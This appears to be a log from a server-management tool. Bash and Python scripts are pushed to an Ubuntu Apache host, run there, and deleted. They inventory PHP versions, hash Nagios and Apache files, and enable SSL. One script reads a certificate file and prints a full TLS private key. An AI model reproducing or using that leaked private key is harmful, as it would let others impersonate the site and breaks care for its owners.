 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)
 xml2enc_module (shared)


2025-11-18 16:24:59: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'rog',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swap.img',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'proxy_module',
      26 => 'proxy_html_module',
      27 => 'proxy_http_module',
      28 => 'proxy_wstunnel_module',
      29 => 'reqtimeout_module',
      30 => 'rewrite_module',
      31 => 'setenvif_module',
      32 => 'socache_shmcb_module',
      33 => 'ssl_module',
      34 => 'status_module',
      35 => 'xml2enc_module',
    ),
  ),
)


2025-11-18 16:24:59: 

PUT: /tmp/pkp547728

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-11-18 16:24:59: 

chmod 755 /tmp/pkp547728; /tmp/pkp547728; rm /tmp/pkp547728

2025-11-18 16:25:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2025-11-18 16:25:00: 

PUT: /tmp/pkp728990

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-11-18 16:25:00: 

chmod 755 /tmp/pkp728990; /tmp/pkp728990; rm /tmp/pkp728990

2025-11-18 16:25:01: 


[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.33
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.14
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.14


2025-11-18 16:25:01: 

PUT: /tmp/pkp295360

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-11-18 16:25:01: 

chmod 755 /tmp/pkp295360; /tmp/pkp295360; rm /tmp/pkp295360

2025-11-18 16:25:01: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2025-11-18 16:25:02: 

PUT: /tmp/pkp492261

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-11-18 16:25:02: 

chmod 755 /tmp/pkp492261; /tmp/pkp492261; rm /tmp/pkp492261

2025-11-18 16:25:02: 


status=ok


2025-11-18 16:25:02: 

PUT: /tmp/pkp607662

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-18 16:25:02: 

chmod 755 /tmp/pkp607662; /tmp/pkp607662; rm /tmp/pkp607662

2025-11-18 16:25:03: 
2025-11-18 16:25:03: 

PUT: /tmp/pkp501557

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb')
    show_file('/etc/apache2/sites-available/theyoungdesigners_stage.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-18 16:25:03: 

chmod 755 /tmp/pkp501557; /tmp/pkp501557; rm /tmp/pkp501557

2025-11-18 16:25:03: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb	5341
59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----




----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_stage.conf	1303

<VirtualHost *:80>
